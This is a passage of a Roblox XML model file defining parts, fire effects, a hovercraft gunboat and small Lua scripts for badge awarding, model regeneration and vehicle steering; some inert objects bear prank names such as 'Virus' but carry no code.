									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<bool name="CanCollide">true</bool>
								<float name="Elasticity">0.5</float>
								<token name="FormFactor">0</token>
								<float name="Friction">0.300000012</float>
								<float name="FrontParamA">-0.5</float>
								<float name="FrontParamB">0.5</float>
								<token name="FrontSurface">0</token>
								<token name="FrontSurfaceInput">0</token>
								<float name="LeftParamA">-0.5</float>
								<float name="LeftParamB">0.5</float>
								<token name="LeftSurface">0</token>
								<token name="LeftSurfaceInput">0</token>
								<bool name="Locked">false</bool>
								<token name="Material">256</token>
								<string name="Name">Gun4</string>
								<float name="Reflectance">0</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">0</token>
								<token name="RightSurfaceInput">0</token>
								<Vector3 name="RotVelocity">
									<X>1.87310278e-010</X>
									<Y>1.82058138e-005</Y>
									<Z>1.03550606e-011</Z>
								</Vector3>
								<float name="TopParamA">-0.5</float>
								<float name="TopParamB">0.5</float>
								<token name="TopSurface">2</token>
								<token name="TopSurfaceInput">0</token>
								<float name="Transparency">0</float>
								<Vector3 name="Velocity">
									<X>-0.00180395809</X>
									<Y>0.00490040937</Y>
									<Z>-0.0188732762</Z>
								</Vector3>
								<token name="shape">1</token>
								<Vector3 name="size">
									<X>1</X>
									<Y>1</Y>
									<Z>2</Z>
								</Vector3>
							</Properties>
							<Item class="Fire" referent="RBX4903">
								<Properties>
									<bool name="Archivable">true</bool>
									<Color3 name="Color">4294957824</Color3>
									<bool name="Enabled">false</bool>
									<string name="Name">Fire</string>
									<Color3 name="SecondaryColor">4294901760</Color3>
									<float name="heat_xml">25</float>
									<float name="size_xml">30</float>
								</Properties>
							</Item>
						</Item>
						<Item class="Part" referent="RBX4904">
							<Properties>
								<bool name="Anchored">false</bool>
								<bool name="Archivable">true</bool>
								<float name="BackParamA">-0.5</float>
								<float name="BackParamB">0.5</float>
								<token name="BackSurface">0</token>
								<token name="BackSurfaceInput">0</token>
								<float name="BottomParamA">-0.5</float>
								<float name="BottomParamB">0.5</float>
								<token name="BottomSurface">0</token>
								<token name="BottomSurfaceInput">0</token>
								<int name="BrickColor">24</int>
								<CoordinateFrame name="CFrame">
									<X>-1159.5</X>
									<Y>30.1000023</Y>
									<Z>811</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<bool name="CanCollide">true</bool>
								<float name="Elasticity">0.5</float>
								<token name="FormFactor">0</token>
								<float name="Friction">0.300000012</float>
								<float name="FrontParamA">-0.5</float>
								<float name="FrontParamB">0.5</float>
								<token name="FrontSurface">0</token>
								<token name="FrontSurfaceInput">0</token>
								<float name="LeftParamA">-0.5</float>
								<float name="LeftParamB">0.5</float>
								<token name="LeftSurface">0</token>
								<token name="LeftSurfaceInput">0</token>
								<bool name="Locked">false</bool>
								<token name="Material">256</token>
								<string name="Name">Gun2</string>
								<float name="Reflectance">0</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">0</token>
								<token name="RightSurfaceInput">0</token>
								<Vector3 name="RotVelocity">
									<X>1.87310278e-010</X>
									<Y>1.82058138e-005</Y>
									<Z>1.03550606e-011</Z>
								</Vector3>
								<float name="TopParamA">-0.5</float>
								<float name="TopParamB">0.5</float>
								<token name="TopSurface">2</token>
								<token name="TopSurfaceInput">0</token>
								<float name="Transparency">0</float>
								<Vector3 name="Velocity">
									<X>-0.00180395809</X>
									<Y>0.00490040937</Y>
									<Z>-0.0191099513</Z>
								</Vector3>
								<token name="shape">1</token>
								<Vector3 name="size">
									<X>1</X>
									<Y>1</Y>
									<Z>2</Z>
								</Vector3>
							</Properties>
							<Item class="Fire" referent="RBX4905">
								<Properties>
									<bool name="Archivable">true</bool>
									<Color3 name="Color">4294939392</Color3>
									<bool name="Enabled">false</bool>
									<string name="Name">Fire</string>
									<Color3 name="SecondaryColor">4294901760</Color3>
									<float name="heat_xml">25</float>
									<float name="size_xml">30</float>
								</Properties>
							</Item>
						</Item>
						<Item class="Part" referent="RBX4906">
							<Properties>
								<bool name="Anchored">false</bool>
								<bool name="Archivable">true</bool>
								<float name="BackParamA">-0.5</float>
								<float name="BackParamB">0.5</float>
								<token name="BackSurface">0</token>
								<token name="BackSurfaceInput">0</token>
								<float name="BottomParamA">-0.5</float>
								<float name="BottomParamB">0.5</float>
								<token name="BottomSurface">0</token>
								<token name="BottomSurfaceInput">0</token>
								<int name="BrickColor">24</int>
								<CoordinateFrame name="CFrame">
									<X>-1156.5</X>
									<Y>30.1000023</Y>
									<Z>811</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<bool name="CanCollide">true</bool>
								<float name="Elasticity">0.5</float>
								<token name="FormFactor">0</token>
								<float name="Friction">0.300000012</float>
								<float name="FrontParamA">-0.5</float>
								<float name="FrontParamB">0.5</float>
								<token name="FrontSurface">0</token>
								<token name="FrontSurfaceInput">0</token>
								<float name="LeftParamA">-0.5</float>
								<float name="LeftParamB">0.5</float>
								<token name="LeftSurface">0</token>
								<token name="LeftSurfaceInput">0</token>
								<bool name="Locked">false</bool>
								<token name="Material">256</token>
								<string name="Name">Gun1</string>
								<float name="Reflectance">0</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">0</token>
								<token name="RightSurfaceInput">0</token>
								<Vector3 name="RotVelocity">
									<X>1.87310278e-010</X>
									<Y>1.82058138e-005</Y>
									<Z>1.03550606e-011</Z>
								</Vector3>
								<float name="TopParamA">-0.5</float>
								<float name="TopParamB">0.5</float>
								<token name="TopSurface">2</token>
								<token name="TopSurfaceInput">0</token>
								<float name="Transparency">0</float>
								<Vector3 name="Velocity">
									<X>-0.00180395809</X>
									<Y>0.00490040937</Y>
									<Z>-0.0191645678</Z>
								</Vector3>
								<token name="shape">1</token>
								<Vector3 name="size">
									<X>1</X>
									<Y>1</Y>
									<Z>2</Z>
								</Vector3>
							</Properties>
							<Item class="Fire" referent="RBX4907">
								<Properties>
									<bool name="Archivable">true</bool>
									<Color3 name="Color">4294939392</Color3>
									<bool name="Enabled">false</bool>
									<string name="Name">Fire</string>
									<Color3 name="SecondaryColor">4294901760</Color3>
									<float name="heat_xml">25</float>
									<float name="size_xml">30</float>
								</Properties>
							</Item>
						</Item>
						<Item class="Part" referent="RBX4908">
							<Properties>
								<bool name="Anchored">false</bool>
								<bool name="Archivable">true</bool>
								<float name="BackParamA">-0.5</float>
								<float name="BackParamB">0.5</float>
								<token name="BackSurface">0</token>
								<token name="BackSurfaceInput">0</token>
								<float name="BottomParamA">-0.5</float>
								<float name="BottomParamB">0.5</float>
								<token name="BottomSurface">7</token>
								<token name="BottomSurfaceInput">0</token>
								<int name="BrickColor">1003</int>
								<CoordinateFrame name="CFrame">
									<X>-1164.50012</X>
									<Y>37.1941299</Y>
									<Z>814.498657</Z>
									<R00>-0.10118416</R00>
									<R01>-0.000124968166</R01>
									<R02>-0.994867623</R02>
									<R10>-6.73664326e-005</R10>
									<R11>1</R11>
									<R12>-0.00011876128</R12>
									<R20>0.994867623</R20>
									<R21>5.50039185e-005</R21>
									<R22>-0.10118416</R22>
								</CoordinateFrame>
								<bool name="CanCollide">true</bool>
								<float name="Elasticity">0.5</float>
								<token name="FormFactor">2</token>
								<float name="Friction">0.300000012</float>
								<float name="FrontParamA">-0.5</float>
								<float name="FrontParamB">0.5</float>
								<token name="FrontSurface">0</token>
								<token name="FrontSurfaceInput">0</token>
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								<Ref name="Part1">null</Ref>
							</Properties>
							<Item class="Weld" referent="RBX5069">
								<Properties>
									<bool name="Archivable">true</bool>
									<CoordinateFrame name="C0">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<CoordinateFrame name="C1">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<string name="Name">Virus</string>
									<Ref name="Part0">null</Ref>
									<Ref name="Part1">null</Ref>
								</Properties>
							</Item>
						</Item>
						<Item class="RotateP" referent="RBX5070">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="BaseAngle">0.25</float>
								<CoordinateFrame name="C0">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<CoordinateFrame name="C1">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<string name="Name">d&#229;&#229;&#229;&#229;&#229;&#229;&#229;&#229;&#229;&#229;&#229;&#229;&#229;&#229;ng.........you got owned...</string>
								<Ref name="Part0">null</Ref>
								<Ref name="Part1">null</Ref>
							</Properties>
							<Item class="Weld" referent="RBX5071">
								<Properties>
									<bool name="Archivable">true</bool>
									<CoordinateFrame name="C0">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<CoordinateFrame name="C1">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<string name="Name">Virus</string>
									<Ref name="Part0">null</Ref>
									<Ref name="Part1">null</Ref>
								</Properties>
							</Item>
						</Item>
						<Item class="Weld" referent="RBX5072">
							<Properties>
								<bool name="Archivable">true</bool>
								<CoordinateFrame name="C0">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<CoordinateFrame name="C1">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<string name="Name">Virus</string>
								<Ref name="Part0">null</Ref>
								<Ref name="Part1">null</Ref>
							</Properties>
						</Item>
						<Item class="Fire" referent="RBX5073">
							<Properties>
								<bool name="Archivable">true</bool>
								<Color3 name="Color">4278190335</Color3>
								<bool name="Enabled">false</bool>
								<string name="Name">Fire</string>
								<Color3 name="SecondaryColor">4294967295</Color3>
								<float name="heat_xml">25</float>
								<float name="size_xml">30</float>
							</Properties>
						</Item>
					</Item>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX5074">
			<Properties>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">2</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">2</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1003</int>
				<CoordinateFrame name="CFrame">
					<X>-1160</X>
					<Y>29</Y>
					<Z>775</Z>
					<R00>-0</R00>
					<R01>0</R01>
					<R02>1</R02>
					<R10>-0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-1</R20>
					<R21>0</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">2</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">2</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Platform</string>
				<float name="Reflectance">1</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">2</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">2</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>6</X>
					<Y>1.20000005</Y>
					<Z>6</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX5075">
				<Properties>
					<bool name="Archivable">true</bool>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=48040081</url></Content>
					<float name="Transparency">0</float>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX5076">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><url>http://www.roblox.com/asset/?id=13326026</url></Content>
					<string name="Name">BadgeAwarderScript</string>
					<ProtectedString name="Source">print(&quot;Badge Awarder Loaded. BadgeID: &quot; .. script.Parent.BadgeID.Value)



-- ROBLOX scripter hackers, see what you can do with this:
-- game:GetService(&quot;BadgeService&quot;):UserHasBadge(userid, badgeid)


function OnTouch(part)
	if (part.Parent:FindFirstChild(&quot;Humanoid&quot;) ~= nil) then
		local p = game.Players:GetPlayerFromCharacter(part.Parent)
		if (p ~= nil) then
			print(&quot;Awarding BadgeID: &quot; ..script.Parent.BadgeID.Value .. &quot; to UserID: &quot; .. p.userId)
			local b = game:GetService(&quot;BadgeService&quot;)
			b:AwardBadge(p.userId, script.Parent.BadgeID.Value)
		end
	end
end

script.Parent.Touched:connect(OnTouch)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="IntValue" referent="RBX5077">
				<Properties>
					<bool name="Archivable">true</bool>
					<string name="Name">BadgeID</string>
					<int name="Value">48040128</int>
				</Properties>
			</Item>
		</Item>
		<Item class="Model" referent="RBX5078">
			<Properties>
				<bool name="Archivable">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">BadgeAwarder</string>
				<Ref name="PrimaryPart">null</Ref>
			</Properties>
			<Item class="Part" referent="RBX5079">
				<Properties>
					<bool name="Anchored">true</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">2</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">2</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">1003</int>
					<CoordinateFrame name="CFrame">
						<X>-1152</X>
						<Y>27.8000011</Y>
						<Z>777</Z>
						<R00>-0</R00>
						<R01>0</R01>
						<R02>1</R02>
						<R10>-0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>-1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">2</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">2</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Platform</string>
					<float name="Reflectance">1</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">2</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">2</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>10</X>
						<Y>1.20000005</Y>
						<Z>10</Z>
					</Vector3>
				</Properties>
				<Item class="Decal" referent="RBX5080">
					<Properties>
						<bool name="Archivable">true</bool>
						<token name="Face">1</token>
						<string name="Name">Decal</string>
						<float name="Shiny">20</float>
						<float name="Specular">0</float>
						<Content name="Texture"><url>http://www.roblox.com/asset/?id=52673856</url></Content>
						<float name="Transparency">0</float>
					</Properties>
				</Item>
				<Item class="Script" referent="RBX5081">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><url>http://www.roblox.com/asset/?id=13326026</url></Content>
						<string name="Name">BadgeAwarderScript</string>
						<ProtectedString name="Source">print(&quot;Badge Awarder Loaded. BadgeID: &quot; .. script.Parent.BadgeID.Value)



-- ROBLOX scripter hackers, see what you can do with this:
-- game:GetService(&quot;BadgeService&quot;):UserHasBadge(userid, badgeid)


function OnTouch(part)
	if (part.Parent:FindFirstChild(&quot;Humanoid&quot;) ~= nil) then
		local p = game.Players:GetPlayerFromCharacter(part.Parent)
		if (p ~= nil) then
			print(&quot;Awarding BadgeID: &quot; ..script.Parent.BadgeID.Value .. &quot; to UserID: &quot; .. p.userId)
			local b = game:GetService(&quot;BadgeService&quot;)
			b:AwardBadge(p.userId, script.Parent.BadgeID.Value)
		end
	end
end

script.Parent.Touched:connect(OnTouch)
</ProtectedString>
					</Properties>
				</Item>
				<Item class="IntValue" referent="RBX5082">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">BadgeID</string>
						<int name="Value">52673914</int>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Model" referent="RBX5083">
			<Properties>
				<bool name="Archivable">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Model</string>
				<Ref name="PrimaryPart">null</Ref>
			</Properties>
			<Item class="Part" referent="RBX5084">
				<Properties>
					<bool name="Anchored">true</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">104</int>
					<CoordinateFrame name="CFrame">
						<X>-1080</X>
						<Y>7</Y>
						<Z>682</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>-0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>-0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">2</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Button1</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>4</X>
						<Y>0.400000006</Y>
						<Z>4</Z>
					</Vector3>
				</Properties>
				<Item class="ClickDetector" referent="RBX5085">
					<Properties>
						<bool name="Archivable">true</bool>
						<float name="MaxActivationDistance">100</float>
						<string name="Name">ClickDetector</string>
					</Properties>
				</Item>
				<Item class="Fire" referent="RBX5086">
					<Properties>
						<bool name="Archivable">true</bool>
						<Color3 name="Color">4294948864</Color3>
						<bool name="Enabled">false</bool>
						<string name="Name">Fire</string>
						<Color3 name="SecondaryColor">4294901760</Color3>
						<float name="heat_xml">25</float>
						<float name="size_xml">30</float>
					</Properties>
				</Item>
				<Item class="Script" referent="RBX5087">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">regen</string>
						<ProtectedString name="Source">-- dark886&apos;s click regen script 
-- just place this script to the button
-- just place the button to the model
-- just place the model to anywhere lol

location = script.Parent.Parent.Parent
regen = script.Parent.Parent
save = regen:clone()

function onClicked()
	regen:remove()
	back = save:clone()
	back.Parent = location
	back:MakeJoints()
end 

script.Parent.ClickDetector.MouseClick:connect(onClicked)</ProtectedString>
					</Properties>
				</Item>
				<Item class="ForceField" referent="RBX5088">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">ForceField</string>
					</Properties>
				</Item>
			</Item>
			<Item class="Model" referent="RBX5089">
				<Properties>
					<bool name="Archivable">true</bool>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Hover2</string>
					<Ref name="PrimaryPart">null</Ref>
				</Properties>
				<Item class="Model" referent="RBX5090">
					<Properties>
						<bool name="Archivable">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Hover Craft</string>
						<Ref name="PrimaryPart">null</Ref>
					</Properties>
					<Item class="Humanoid" referent="RBX5091">
						<Properties>
							<bool name="Archivable">true</bool>
							<float name="Health">0</float>
							<float name="MaxHealth">0</float>
							<string name="Name">Humanoid</string>
							<float name="WalkSpeed">0</float>
						</Properties>
					</Item>
					<Item class="Model" referent="RBX5092">
						<Properties>
							<bool name="Archivable">true</bool>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">Regen</string>
							<Ref name="PrimaryPart">null</Ref>
						</Properties>
						<Item class="Model" referent="RBX5093">
							<Properties>
								<bool name="Archivable">true</bool>
								<CoordinateFrame name="ModelInPrimary">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<string name="Name">GunBoat</string>
								<Ref name="PrimaryPart">null</Ref>
							</Properties>
							<Item class="Model" referent="RBX5094">
								<Properties>
									<bool name="Archivable">true</bool>
									<CoordinateFrame name="ModelInPrimary">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<string name="Name">Bodykit</string>
									<Ref name="PrimaryPart">null</Ref>
								</Properties>
							</Item>
							<Item class="Part" referent="RBX5095">
								<Properties>
									<bool name="Anchored">false</bool>
									<bool name="Archivable">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">2</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">2</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">24</int>
									<CoordinateFrame name="CFrame">
										<X>-1072.5</X>
										<Y>9.5</Y>
										<Z>674.5</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>0</R11>
										<R12>-1</R12>
										<R20>0</R20>
										<R21>1</R21>
										<R22>0</R22>
									</CoordinateFrame>
									<bool name="CanCollide">true</bool>
									<float name="Elasticity">0</float>
									<token name="FormFactor">0</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">2</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">2</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Part</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">2</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">2</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0</float>
									<Vector3 name="Velocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>1</X>
										<Y>1</Y>
										<Z>7</Z>
									</Vector3>
								</Properties>
								<Item class="BlockMesh" referent="RBX5096">
									<Properties>
										<bool name="Archivable">true</bool>
										<float name="Bevel">0</float>
										<float name="Bevel Roundness">0</float>
										<float name="Bulge">0</float>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<string name="Name">Mesh</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
								</Item>
							</Item>
							<Item class="Script" referent="RBX5097">
								<Properties>
									<bool name="Archivable">true</bool>
									<bool name="Disabled">true</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">Script</string>
									<ProtectedString name="Source">bin = script.Parent
VS = bin.VehicleSeat
RTurn = false
LTurn = false
MoveR = false
MoveF = false
NotMoving = true 
engine = script.Parent.Base
position = engine.Velocity
bin.Base.BG.cframe = bin.Base.CFrame

function DirChng()
if VS.Steer == 1 then 
	RTurn = true
		while RTurn do
			bin.Base.BG.cframe = bin.Base.CFrame * CFrame.fromEulerAnglesXYZ(0, -VS.TurnSpeed, 0)
			wait(0.1)
		end
else if VS.Steer == -1 then 
	LTurn = true 
		while LTurn do
			bin.Base.BG.cframe = bin.Base.CFrame * CFrame.fromEulerAnglesXYZ(0, VS.TurnSpeed, 0)
			wait(0.1)
		end
else if VS.Steer == 0 then 
	RTurn = false
	LTurn = false 
end
end
end
end

VS.Changed:connect(DirChng)
</ProtectedString>
								</Properties>
							</Item>
							<Item class="VehicleSeat" referent="RBX5098">
								<Properties>
